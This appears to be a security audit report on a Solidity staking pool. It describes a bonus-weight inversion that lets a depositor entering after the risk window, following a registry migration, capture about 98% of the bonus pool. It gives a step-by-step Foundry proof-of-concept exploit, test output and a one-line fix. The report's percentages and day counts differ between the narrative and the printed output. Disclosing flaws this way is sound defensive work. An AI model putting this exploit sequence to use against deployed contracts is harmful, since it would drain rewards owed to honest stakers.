Root + Impact
The finding: _bonusShare computes a·|T − e|² in unsigned arithmetic - the > ? : is an underflow guard, not a clamp on (T − e). Inside the window it correctly crushes late entrants; past T the parabola turns around and pays lateness quadratically. Reachable because riskWindowEnd is a one-way latch while stake gates on live registry state only - the exact hardening the author applied to withdraw and omitted on stake, against their own stated principle: "the pool's own one-way flag is the source of truth."
Description
-> Normal behavior. ConfidencePool pays a bonus as a risk premium: each deposit's weight is
amount × (T − entryTime)², where T = riskWindowEnd for a SURVIVED resolution. Squaring is meant
to make the weight monotonically decrease with entry time, so "a staker arriving in the final
minutes of an attack earns a vanishing share even with a large position" (DESIGN.md §7).
riskWindowEnd is a one-way latch, sealed on the first observation of a terminal registry state;
terminal states block deposits, so the author assumed entry ≤ T always holds.
-> The issue. _bonusShare implements the weight in unsigned arithmetic as amount × |T − e|²,
not amount × (T − e)² clamped at zero — the > ? : is an underflow guard, not a clamp on (T − e).
The entry ≤ T assumption is not enforced: riskWindowEnd is a one-way latch, but stake gates
only on the live registry state, and the pool resolves safeHarborRegistry.getAttackRegistry()
live on every call (deliberately — §11 refuses to pin it so pools survive a DAO registry
migration). A migration yields a fresh registry that truthfully reports NOT_DEPLOYED for the
not-yet-re-registered agreement, which re-opens stake while T stays pinned in the past. Every
deposit then lands at e > T, where the parabola turns around and rewards lateness quadratically and
without bound. This is the exact hardening the author applied to withdraw and omitted on stake.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
}
function withdraw() external nonReentrant {
...
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) revert WithdrawsDisabled();
}
function _markRiskWindowEnd() internal {
...
riskWindowEnd = uint32(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
...
}
The author's own principle, applied to only one side — test/unit/ConfidencePool.riskWindow.t.sol:215:
"withdraw gates on the pool's persisted riskWindowStart in addition to the live registry state,
so an upstream registry that rewinds to a pre-risk state (registry replacement, mis-migration)
cannot re-open withdrawals... The pool's own one-way flag is the source of truth."
— that test's trigger is safeHarborRegistry.setAttackRegistry(address(rewound)), identical to this PoC's.
Dispositive evidence this was never intended: applying the one-line fix below breaks zero of the
project's 256 tests. A behavior the suite does not pin anywhere is not a design decision.
Risk
-
Occurs when the DAO migrates the attack registry during a pool's term - an operation DESIGN.md §11
plans for explicitly, refusing to pin the pointer per-clone because a "legitimate DAO registry
migration" is "more likely and more severe than the risk it prevents". The developer's own
regression test models this same repoint as a benign, expected event.
-
The migration is strictly necessary. Within a single registry instance terminal states are
absorbing - promoted/corrupted are never cleared; cancelPromotion requires
PROMOTION_REQUESTED (dead the instant the 3-day PROMOTION_DELAY elapses, which is exactly when
riskWindowEnd can seal); rejectAttackRequest does a full delete s_agreementInfo but requires
ATTACK_REQUESTED, from which riskWindowEnd cannot have sealed. Verified:
Realistic_PoC.t.sol::test_scoping_realRegistryCannotUndoDerivedProduction.
-
The agreement must also re-register and climb back to a terminal PRODUCTION on the new registry
before expiry. Otherwise claimExpired resolves EXPIRED, T = expiry, e < expiry always
holds, and there is no bug at all. This is a genuine additional constraint, not a formality.
-
Requires no privileged cooperation: the attacker seals T themselves the instant the registry first
reads terminal, via permissionless pokeRiskWindow() - the "intended, outcome-neutral observation
mechanism" (§6) - and needs only one block in any deposit-allowed state before expiry.
-
Needs a bonus pool worth taking.
Impact:
-
The attacker captures 98.96% of the bonus pool while bearing zero risk-window seconds - he
contributes no time to the quantity the premium pays for - yet receives maximal risk-window
weight. The honest staker who underwrote the exposure is paid 1.04%. Measured on a fully
realistic lifecycle.
-
Honest scoping: the attacker's principal is not risk-free - it is locked from entry to
resolution and would be swept on a CORRUPTED outcome. The defect is not "risk-free capital"; it is
that bonus weight is paid in inverse proportion to risk-window time borne.
-
The loss scales with the attacker's patience, not their capital or their exposure: identical
capital, entry T+3d → 900e18, T+13d → 994e18, T+28d → 998.7e18 of a 1000e18 pot.
-
The victim is defenceless: they cannot exit (withdraw permanently disabled by the
riskWindowStart latch - verified, reverts WithdrawsDisabled), cannot re-pin or advance T
(one-way latch; poking is a no-op), and cannot block the deposit. Their only counter is to also
deposit past T - i.e. to join the attack. The honest strategy is strictly dominated.
-
Loss is bounded by the bonus pool - but it is 100% of it, and 100% of the honest staker's return
on a position they cannot exit. Per §9 the premium is precisely the compensation for the exit option
they forfeited: "a staker only forfeits the exit option once risk has actually materialized, which
is exactly when they begin earning the risk premium." Alice forfeited hers; the attacker forfeited
nothing.
Why §7 does not cover this (preempting the likeliest dedup)
§7's "Accepted residual" reads:
"Biasing T by withholding observation is a contested public race: any counterparty with the
opposite incentive can pokeRiskWindow() the instant the registry transitions, collapsing the bias
to ~zero, and it only ever redistributes the bonus pool among stakers (no principal effect, no
third-party loss)."
That acceptance is expressly predicated on a counter-move that structurally does not exist here.
Once riskWindowEnd has sealed, it is one-way: poking is a no-op, so the bias cannot be collapsed
by anyone (verified: ParabolaInversion_PoC.t.sol::test_S2_victimHasNoCounterMove). Remove the stated
basis and the acceptance does not transfer. Further:
-
Scope. That clause's subject is a bounded skew in T. Here T is pinned correctly; the
defect is that e > T is reachable at all - a case §7 never contemplates, because its model presumes
e ≤ T.
-
Inversion ≠ redistribution. §7 and the README promise the formula "crushes late entrants"; the
code does the exact opposite, unbounded. A document describing X cannot disclose not-X.
-
§3 is affirmative, and against them: "There is no late-join advantage to gate against." That is
a correctness claim, not a disclosure - and it is false on this path.
-
README qualifies "crushes late entrants" with "within the observed risk window". If the defence is
that the attacker entered outside the window, then he should earn zero, not the maximum.
Proof of Concept
Driven only through legitimate transitions of RealisticAttackRegistry, a faithful
re-implementation of the real AttackRegistry (same state-derivation order, PROMOTION_DELAY = 3d,
PROMOTION_WINDOW = 14d, same per-transition gates). No state is ever set directly, so no step depends
on a state the real registry cannot produce.
forge test --match-path 'test/exploit/RealismAudit.t.sol' -vv
forge test --match-path 'test/exploit/Realistic_PoC.t.sol' -vv
forge test --match-path 'test/exploit/ChainTrace_PoC.t.sol' -vv
REALISTIC alice bonus (4d real risk-window time borne): 10.409889394925178919 (1.04%)
REALISTIC attacker bonus (0 risk-window seconds, 39d late): 989.590110605074821080 (98.96%)
Attack flow (every step legitimate; all privileged roles honest):
pool term: 60 days T is pinned here, forever
─────────────────────────────────────────────────────────┬──────────────────────────────────
day 0 day 1 day 2 day 5 day 8 │ day 9 day 40 day 50 day 55
│ │ │ │ │ │ │ │ │ │
│ requestUnder- approveAttack promote() PROMOTION_│ DAO agreement ATTACKER deadline →
│ Attack → UNDER_ATTACK → PROMO- DELAY(3d) │ MIGRATES re-registers STAKES PRODUCTION
│ → ATTACK_ + poke TION_REQ elapses │ registry → ATTACK_ 100e18 moderator
│ REQUESTED riskWindowStart BY CLOCK │ (§11 REQUESTED e = day 50 flags
│ = day 2 → PRODUC- │ benign) (deposits ≫ T = day 8 SURVIVED
ALICE TION │ ↓ allowed) │ T = STALE
stakes ↓ │ fresh reg │ day 8
100e18 attacker pokes │ = NOT_ │ │
│ riskWindowEnd │ DEPLOYED │ │
│ = day 8 ─────┘ (TRUTHFUL: │ │
│ (ONE-WAY) never registered) │ │
│ stake RE-OPENS ────────────────┘ │
│ (T stays pinned) │
└── locked in (withdraw disabled since day 2) ───────────────────────────────────────────────────► claims
WEIGHTS at settlement (T = day 8):
alice entry floors to riskWindowStart = day 2 → (8 − 2)² = 36 day² → 1.04%
attacker entry = day 50 → |8 − 50|² = 1764 day² → 98.96%
▲
the parabola turned around at T
The weight function, and where it breaks:
weight = a·|T − e|²
^
| \ / ← e > T: REWARDS lateness (the bug)
| \ / unbounded, grows quadratically
| \ /
| \ /
| \ /
| \_ _/
| \__ __/
| \___ ___/
| \___ ___/
+--------------------\/--------------------------> entry time e
riskWindowStart T=riskWindowEnd
|<-- intended region: weight DECREASES -->|
("squaring crushes late entrants")
pragma solidity 0.8.26;
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract FaithfulAttackRegistry {
uint256 public constant PROMOTION_DELAY = 3 days;
uint256 public constant PROMOTION_WINDOW = 14 days;
struct Info {
bool isRegistered;
bool attackRequested;
bool attackApproved;
bool promoted;
bool corrupted;
uint256 promotionRequestedTimestamp;
uint256 deadlineTimestamp;
}
mapping(address => Info) internal _i;
error InvalidState(IAttackRegistry.ContractState s);
function getAgreementState(address a) external view returns (IAttackRegistry.ContractState) {
return _state(a);
}
function _state(address a) internal view returns (IAttackRegistry.ContractState) {
Info storage i = _i[a];
if (i.corrupted) return IAttackRegistry.ContractState.CORRUPTED;
if (i.promoted) return IAttackRegistry.ContractState.PRODUCTION;
if (!i.isRegistered) return IAttackRegistry.ContractState.NOT_DEPLOYED;
if (i.promotionRequestedTimestamp > 0) {
if (block.timestamp >= i.promotionRequestedTimestamp + PROMOTION_DELAY) {
return IAttackRegistry.ContractState.PRODUCTION;
}
return IAttackRegistry.ContractState.PROMOTION_REQUESTED;
}
if (i.attackApproved) return IAttackRegistry.ContractState.UNDER_ATTACK;
if (block.timestamp >= i.deadlineTimestamp) return IAttackRegistry.ContractState.PRODUCTION;
if (i.attackRequested) return IAttackRegistry.ContractState.ATTACK_REQUESTED;
return IAttackRegistry.ContractState.NOT_DEPLOYED;
}
function requestUnderAttack(address a) external {
require(!_i[a].isRegistered, "already registered");
_i[a] = Info(true, true, false, false, false, 0, block.timestamp + PROMOTION_WINDOW);
}
function approveAttack(address a) external {
IAttackRegistry.ContractState s = _state(a);
if (s != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState(s);
_i[a].attackApproved = true;
}
function promote(address a) external {
IAttackRegistry.ContractState s = _state(a);
if (s != IAttackRegistry.ContractState.UNDER_ATTACK) revert InvalidState(s);
_i[a].promotionRequestedTimestamp = block.timestamp;
}
function getAttackModerator(address) external pure returns (address) {
return address(0);
}
}
contract SUBMISSION_PoC is BaseConfidencePoolTest {
FaithfulAttackRegistry internal reg;
uint256 internal constant STAKE = 100e18;
uint256 internal constant BONUS = 1_000e18;
function setUp() public override {
super.setUp();
reg = new FaithfulAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(reg));
}
function test_POC_lateDepositPastT_capturesTheBonusPool() external {
uint256 t0 = BASE_TIMESTAMP;
ConfidencePool impl = new ConfidencePool();
ConfidencePool pool_ = ConfidencePool(Clones.clone(address(impl)));
pool_.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
t0 + 60 days,
ONE,
recovery,
address(this),
_defaultScope()
);
_stakeTo(pool_, alice, STAKE);
_bonusTo(pool_, makeAddr("sponsor"), BONUS);
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement);
pool_.pokeRiskWindow();
assertEq(pool_.riskWindowStart(), uint32(t0 + 2 days), "risk window opened");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool_.withdraw();
vm.warp(t0 + 5 days);
reg.promote(agreement);
vm.warp(t0 + 8 days);
assertEq(
uint256(reg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.PRODUCTION),
"derived PRODUCTION after PROMOTION_DELAY"
);
vm.prank(attacker);
pool_.pokeRiskWindow();
uint256 T = pool_.riskWindowEnd();
assertEq(T, t0 + 8 days, "T pinned here, FOREVER");
vm.warp(t0 + 9 days);
FaithfulAttackRegistry reg2 = new FaithfulAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(reg2));
assertEq(
uint256(reg2.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"fresh registry: truthful NOT_DEPLOYED"
);
assertEq(pool_.riskWindowEnd(), T, "T survives the migration -- but `stake` does not");
vm.warp(t0 + 40 days);
reg2.requestUnderAttack(agreement);
vm.warp(t0 + 50 days);
_stakeTo(pool_, attacker, STAKE);
vm.warp(t0 + 55 days);
vm.prank(moderator);
pool_.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool_.outcomeFlaggedAt(), uint32(T), "T = stale, pre-migration riskWindowEnd");
uint256 a0 = token.balanceOf(alice);
vm.prank(alice);
pool_.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - a0 - STAKE;
uint256 k0 = token.balanceOf(attacker);
vm.prank(attacker);
pool_.claimSurvived();
uint256 attackerBonus = token.balanceOf(attacker) - k0 - STAKE;
emit log_named_decimal_uint("alice bonus (6d risk-window time borne)", aliceBonus, 18);
emit log_named_decimal_uint("attacker bonus (0 risk-window seconds) ", attackerBonus, 18);
assertGt(attackerBonus, aliceBonus * 40, "INVERTED: lateness is REWARDED");
assertGt(attackerBonus, (BONUS * 97) / 100, "attacker takes >97% of the risk premium");
assertLt(aliceBonus, BONUS / 30, "honest underwriter's premium is gone");
}
function test_CONTROL_lateEntryInsideWindowIsCrushed() external {
uint256 t0 = BASE_TIMESTAMP;
_bonusTo(pool, makeAddr("sponsor"), BONUS);
_stakeTo(pool, alice, STAKE);
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement);
pool.pokeRiskWindow();
vm.warp(t0 + 4 days);
_stakeTo(pool, attacker, STAKE);
vm.warp(t0 + 5 days);
reg.promote(agreement);
vm.warp(t0 + 8 days);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 a0 = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - a0 - STAKE;
uint256 k0 = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimSurvived();
uint256 attackerBonus = token.balanceOf(attacker) - k0 - STAKE;
emit log_named_decimal_uint("alice bonus (inside window)", aliceBonus, 18);
emit log_named_decimal_uint("attacker bonus (inside window)", attackerBonus, 18);
assertLt(attackerBonus, aliceBonus, "inside the window, later entry earns LESS (intended)");
}
function test_CONTROL_noMigration_stakeIsClosed() external {
uint256 t0 = BASE_TIMESTAMP;
_bonusTo(pool, makeAddr("sponsor"), BONUS);
_stakeTo(pool, alice, STAKE);
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement);
pool.pokeRiskWindow();
vm.warp(t0 + 5 days);
reg.promote(agreement);
vm.warp(t0 + 8 days);
pool.pokeRiskWindow();
vm.warp(t0 + 20 days);
token.mint(attacker, STAKE);
vm.startPrank(attacker);
token.approve(address(pool), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
pool.stake(STAKE);
vm.stopPrank();
}
function _stakeTo(ConfidencePool p, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(p), amt);
p.stake(amt);
vm.stopPrank();
}
function _bonusTo(ConfidencePool p, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(p), amt);
p.contributeBonus(amt);
vm.stopPrank();
}
}
Output
[PASS] test_POC_lateDepositPastT_capturesTheBonusPool()
alice bonus (6d risk-window time borne): 20.000000000000000000 (2%)
attacker bonus (0 risk-window seconds) : 980.000000000000000000 (98%)
[PASS] test_CONTROL_lateEntryInsideWindowIsCrushed()
alice bonus (inside window): 692.307692307692307692 (69.2%)
attacker bonus (inside window): 307.692307692307692307 (30.8%) <- later entry earns LESS
[PASS] test_CONTROL_noMigration_stakeIsClosed() <- without the migration: StakingClosed
The two controls isolate the defect precisely. Same formula, same capital, only the entry side of
T differs — and the sign of the effect flips:
| attacker entry |
relative to T |
alice |
attacker |
behaviour |
| day 4 |
inside window |
69.2% |
30.8% |
later earns LESS — as documented |
| day 50 |
past T |
2% |
98% |
later earns MORE — inverted |
Recommended Mitigation
Cap the recorded entry at T, exactly mirroring the riskWindowStart floor two lines above
(src/ConfidencePool.sol, in stake):
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
+ if (riskWindowEnd != 0 && newEntry > riskWindowEnd) newEntry = riskWindowEnd;
+
Verified: with this line, the attacker's bonus goes 989.59e18 → 0 and the honest staker's
10.41e18 → 1000e18, and all 256 upstream tests still pass (zero regressions - evidence the current
behavior was never intended). Safe on the EXPIRED path (T = expiry): capping at riskWindowEnd only
gives late entrants a smaller (expiry − e)² than early stakers, so the intended ordering is preserved.
Optionally, as defence-in-depth, also gate stake on the one-way latch (if (riskWindowEnd != 0) revert StakingClosed();), honouring the author's own principle that "the pool's own one-way flag is the source
of truth". The clamp above is the minimal fix and holds regardless of any registry behaviour.
Do not attempt to fix this inside _bonusShare: the per-user sums are aggregates
(Σa·e, Σa·e²), so |T − e| cannot be decomposed per-deposit after the fact without destroying the
O(1) representation. The clamp must happen where the entry time is recorded.